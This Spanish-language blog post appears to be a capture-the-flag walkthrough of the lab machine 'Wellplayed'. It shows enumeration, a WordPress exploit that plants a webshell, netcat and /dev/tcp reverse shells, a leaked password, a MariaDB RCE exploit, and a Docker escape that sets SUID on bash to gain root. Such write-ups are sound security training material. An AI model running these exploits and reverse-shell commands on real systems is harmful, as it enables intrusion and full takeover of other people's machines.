Skip to content
Mnohh022
Go back

Wellplayed

logo

Table of contents

Open Table of contents

Enumeración

La máquina Wellplayed tiene la ip 10.0.2.72

Descubrimiento de Puertos

Vamos a empezar enumerando todos los puertos abiertos de la máquina, así como los servicios y las versiones que se están ejecutando en ellos mediante la herramienta nmap.

nmap -sS -p- --open -sCV --min-rate 5000 -n -Pn 10.0.2.72

Host is up (0.00055s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp   open  http     nginx
|_http-title: Did not follow redirect to https://wellplayed.nyx/
443/tcp  open  ssl/http nginx
|_ssl-date: TLS randomness does not represent time
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=wellplayed.nyx/organizationName=Organization/stateOrProvinceName=State/countryName=US
| Not valid before: 2026-08-09T12:19:30
|_Not valid after:  2027-08-09T12:19:30
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
8080/tcp open  http     Node.js Express framework
|_http-title: Content Review System
|_http-open-proxy: Proxy might be redirecting requests

Puerto 443 (Web)

Tenemos Virtual Hosting por lo que añadimos la ip y el dominio al /etc/hosts.

echo '10.0.2.72 wellplayed.nyx' | sudo tee -a /etc/hosts

Ahora si podemos acceder al contenido de la web y nos encontramos con un Wordpress.

home-web

Empleamos wpscan para realizar una enumeración del Wordpress, ya que está utilizando un certificado SSL/TLS autofirmado debemos de evitar que se verifique con el parámetro --disable-tls-checks.

 wpscan --url "https://wellplayed.nyx" -e --disable-tls-checks

[+] URL: https://wellplayed.nyx/ [10.0.2.72]

Interesting Finding(s):
...
 
[+] WordPress version 6.9.4 identified (Insecure, released on 2026-03-11).

...

[+] admin
...

El escáner nos revela un usuario admin y la versión del Wordpress: 6.9.4

Si buscamos acerca de vulnerabilidades de esta versión encontramos dos críticas:

En nuestro caso, vamos a explotar el CVE-2026-63030 (WP2Shell), para explotar el otro CVE (XSS2Shell) tendríamos que aprovecharnos del servicio del puerto 8080 en el cual el usuario admin revisa los links que se le proporcionan.

Explotación

CVE-2026-63030 (WP2Shell Unauthenticated RCE)

Para explotar esta vulnerabilidad vamos a emplear el Proof of Concept (PoC) del repositorio de Github de Icex0.

Clonamos el repositorio a nuestro equipo y le realizamos un pequeño ajuste.

Añadimos la siguientes líneas en el wp2shell.py para que no valide el certificado SSL/TLS.

import ssl
ssl._create_default_https_context = ssl._create_unverified_context

De esta forma, el wp2shell.py queda así:

#!/usr/bin/env python3
"""Standalone launcher — equivalent to `python3 -m wp2shell`."""

import sys
import ssl
from wp2shell.cli import main

ssl._create_default_https_context = ssl._create_unverified_context

if __name__ == "__main__":
    sys.exit(main())

Lo ejecutamos:

python3 wp2shell.py shell https://wellplayed.nyx --cmd id
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
[+] Administrator created: wp2_dedc0c42e45d
[+]     email:    wp2_dedc0c42e45d@wp2shell.invalid
[+]     password: Wp2!D9QGLvIltMulWZPOS5u1
[*] Authenticating as 'wp2_dedc0c42e45d'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: https://wellplayed.nyx/wp-content/plugins/wp2shell_bf67bc2f/wp2shell_bf67bc2f.php

uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

Tenemos un Remote Code Execution (RCE), por lo tanto, nos ponemos en escucha en nuestra máquina con netcat y nos enviamos una reverse shell con w2shell.py.

nc -nlvp 4444
python3 wp2shell.py shell https://wellplayed.nyx --cmd 'nc 10.0.2.61 4444 -e /bin/bash'

Entramos como el usuario www-data.

Movimiento Lateral

Maciiii

Revisando el directorio /opt encontramos el directorio pwned con permisos 777 y un archivo secure.txt.xz

www-data@wellplayed:~$ ls -la /opt
total 20
drwxr-xr-x   4 root root 4096 Aug 10 12:22 .
drwxr-xr-x  18 root root 4096 Jul 30 05:08 ..
drwx--x--x   4 root root 4096 Aug 10 10:04 containerd
drwxrwxrwx+  2 root root 4096 Aug 11 05:49 pwned
-rw-r--r--   1 root root  396 Aug 10 12:22 secure.txt.xz

Los archivos con extensión .xz son archivos comprimidos que utilizan el algoritmo de compresión sin pérdida LZMA2.

Pasamos ese archivo a nuestro equipo y lo descomprimimos empleando unxz.

unxz secure.txt.xz

Al descomprimirlo nos deja un archivo de texto.

----- BEGIN SECURE MEMO -----

To: Security Team
From: DevOps
Date: August 2026

URGENT: Security Issues Detected

The following critical issues require immediate attention:

1. The password for user "maciiii" is compromised:
   MEf4MEf@c4j8UmUGAv*3sAhIkow!oKNOkuk4bulRa

2. Docker volume mount is mapped to pwned folder.

ACTION REQUIRED:
- Change maciiii password immediately
- Remove the volume mount

----- END SECURE MEMO -----

Ya tenemos las credenciales de maciiii, así que nos conectamos por ssh con ellas.

ssh maciiii@wellplayed.nyx

maciiii@wellplayed:~$ ls -la
total 28
drwx------ 2 maciiii maciiii 4096 Aug 10 15:53 .
drwxr-xr-x 3 root    root    4096 Aug 10 11:38 ..
lrwxrwxrwx 1 maciiii maciiii    9 Aug 10 11:38 .bash_history -> /dev/null
-rw-r--r-- 1 maciiii maciiii  220 May  9 06:07 .bash_logout
-rw-r--r-- 1 maciiii maciiii 3526 May  9 06:07 .bashrc
lrwxrwxrwx 1 maciiii maciiii    9 Aug 10 12:42 .mariadb_history -> /dev/null
-rw-r--r-- 1 maciiii maciiii  261 Aug 10 11:41 note.txt
-rw-r--r-- 1 maciiii maciiii  807 May  9 06:07 .profile
-rw-r--r-- 1 maciiii maciiii   33 Aug 10 11:42 user.txt

Escalada de Privilegios

Root

Revisando los procesos de la máquina vemos el servicio de la base de datos está montado en un contenedor con la ip 172.18.0.2

ps -faux

root         783  0.0  7.9 2163280 92788 ?       Ssl  12:25   0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root        1116  0.2  0.7 1746724 8776 ?        Sl   12:25   0:04  \_ /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3306 -container-ip 172.18.0.2 -container-port 3306 -use-listen-fd
root        1122  0.0  0.5 1672992 6476 ?        Sl   12:25   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 3306 -container-ip 172.18.0.2 -container-port 3306 -use-listen-fd

Nos conectamos a este servicio como su usuario root y con la contraseña vacía.

mysql -h 172.18.0.2 -u root -p --skip-ssl-verify-server-cert
Enter password: 

MariaDB [(none)]> SELECT version();
+------------------------+
| version()              |
+------------------------+
| 13.0.1-MariaDB-ubu2604 |
+------------------------+
1 row in set (0.000 sec)

Se trata de MariaDB 13.0.1, si buscamos esa versión encontramos una vulnerabilidad que nos permite un RCE bajo una serie de condiciones. Vamos a explotarla empleando este repositorio de Github de dinosn.

Antes de ello, debemos de preparar el servicio de MariaDB, para ello:

MariaDB [(none)]> CREATE USER 'lowpriv'@'%' IDENTIFIED BY 'lowpriv';
Query OK, 0 rows affected (0.008 sec)

MariaDB [(none)]> CREATE DATABASE appdb;
Query OK, 1 row affected (0.001 sec)

MariaDB [(none)]> GRANT USAGE ON *.* TO 'lowpriv'@'%';
Query OK, 0 rows affected (0.003 sec)

MariaDB [(none)]> GRANT ALL ON appdb.* TO 'lowpriv'@'%';
Query OK, 0 rows affected (0.004 sec)

Una vez hecho, ya podemos explotar la vulnerabilidad.

Dado que la máquina víctima tiene netcat instalado, podemos utilizarla para que el contenedor de MariaDB envíe la reverse shell hacia ella. De este modo, evitamos la necesidad de crear túneles o port forwarding para establecer la conexión con nuestra máquina.

Iniciamos una nueva conexión por ssh como el usuario maciiii y nos ponemos en escucha en ella con netcat.

nc -nlvp 4000

Pasamos el script exploit_pure_sql.py del repositorio a la máquina y ejecutamos la reverse shell.

python3 exploit_pure_sql.py --host 172.18.0.2 --port 3306 --user lowpriv --password lowpriv --command 'bash -c "bash -i >& /dev/tcp/172.18.0.1/4000 0>&1"' --marker /tmp/pwned

Entramos al contenedor como el usuario mysql

mysql@4d6a37e7cb75:~$ ls -la
total 365416
drwxr-xr-x 7 mysql mysql      4096 Aug 20 18:07 .
drwxr-xr-x 1 root  root       4096 Aug  9 22:50 ..
-rw------- 1 mysql 104         169 Aug 11 10:51 .bash_history
-rw------- 1 mysql 104         118 Aug  9 22:38 .my-healthcheck.cnf
drwx------ 2 mysql 104        4096 Aug 20 18:10 appdb
-rw-rw---- 1 mysql 104     5537792 Aug 20 18:10 aria_log.00000001
-rw-rw---- 1 mysql 104          52 Aug 12 15:58 aria_log_control
-rw------- 1 mysql 104   583950336 Aug 10 20:51 core.1
-rw-rw---- 1 mysql 104           9 Aug 12 15:52 ddl_recovery-backup.log
-rw-rw---- 1 mysql 104       16384 Aug 20 18:10 ddl_recovery.log
-rw-rw---- 1 mysql 104        1158 Aug 12 15:58 ib_buffer_pool
-rw-rw---- 1 mysql 104   100663296 Aug 20 18:10 ib_logfile0
-rw-rw---- 1 mysql 104    12582912 Aug 12 15:44 ibdata1
-rw-rw---- 1 mysql 104    12582912 Aug 20 17:25 ibtmp1
-rw-r--r-- 1 mysql 104          14 Aug  9 22:38 mariadb_upgrade_info
-rw-rw---- 1 mysql 104           0 Aug  9 22:38 multi-master.info
drwx------ 2 mysql 104        4096 Aug  9 22:38 mysql
drwx------ 2 mysql 104        4096 Aug  9 22:38 performance_schema
drwx------ 2 mysql 104       12288 Aug  9 22:38 sys
-rw-rw---- 1 mysql 104       24576 Aug 20 17:25 tc.log
-rw-rw---- 1 mysql 104    10485760 Aug 12 15:44 undo001
-rw-rw---- 1 mysql 104    10485760 Aug 12 15:44 undo002
-rw-rw---- 1 mysql 104    10485760 Aug 12 15:44 undo003
drwx------ 2 mysql 104        4096 Aug  9 22:40 wordpress

Al revisar el .bash_history, encontramos un comando de Docker que permite levantar un contenedor con privilegios elevados y ejecutar comandos como el usuario root de la máquina.

mysql@4d6a37e7cb75:~$ cat .bash_history 
docker -H unix:///var/run/docker.sock.lol run --rm --privileged --pid=host --volume /:/host ubuntu:22.04 cat /host/root/root.txt
apt-get update
ip a
exit
ls
docker
exit

En lugar de leer la flag de root directamente, vamos a darle permisos SUID a la bash. Ejecutamos dentro del contenedor:

docker -H unix:///var/run/docker.sock.lol run --rm --privileged --pid=host --volume /:/host ubuntu:22.04 chmod u+s /host/bin/bash

Hecho esto, regresamos a la máquina y nos lanzamos una bash privilegiada para convertirnos en root.

maciiii@wellplayed:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1298416 May  9 06:07 /bin/bash
maciiii@wellplayed:~$ bash -p

bash-5.2# whoami
root
bash-5.2# ls -la /root
total 124
drwx------  9 root root  4096 Aug 11 05:49 .
drwxr-xr-x 18 root root  4096 Jul 30 05:08 ..
lrwxrwxrwx  1 root root     9 Aug  1 05:33 .bash_history -> /dev/null
-rw-r--r--  1 root root  3526 Aug  1 05:34 .bashrc
-rw-r--r--  1 root root  3482 Aug 10 16:09 bot.js
drwxr-xr-x  5 root root  4096 Aug 10 11:04 .cache
drwx------  4 root root  4096 Aug 10 10:57 .config
-rw-r--r--  1 root root   481 Aug 10 16:09 docker-compose.yml
-rw-r--r--  1 root root  9155 Aug 10 11:11 index.html
-rw-------  1 root root    20 Aug 11 05:49 .lesshst
drwx------  3 root root  4096 Aug  1 05:42 .local
drwxr-xr-x  2 root root  4096 Aug 10 15:03 mariadb-13-rce-lab
lrwxrwxrwx  1 root root     9 Aug 10 12:46 .mariadb_history -> /dev/null
drwxr-xr-x 93 root root  4096 Aug 10 10:45 node_modules
drwxr-xr-x  4 root root  4096 Aug 10 10:45 .npm
-rw-r--r--  1 root root   293 Aug 10 10:45 package.json
-rw-r--r--  1 root root 40453 Aug 10 10:45 package-lock.json
-rw-r--r--  1 root root   132 Jul  4 04:05 .profile
-r--------  1 root root    33 Aug 10 11:45 root.txt
-rw-r--r--  1 root root    66 Aug  1 05:50 .selected_editor
-rw-r--r--  1 root root   202 Aug  9 07:04 setup.sql
drwx------  2 root root  4096 Aug  1 05:45 .ssh

Share this post on: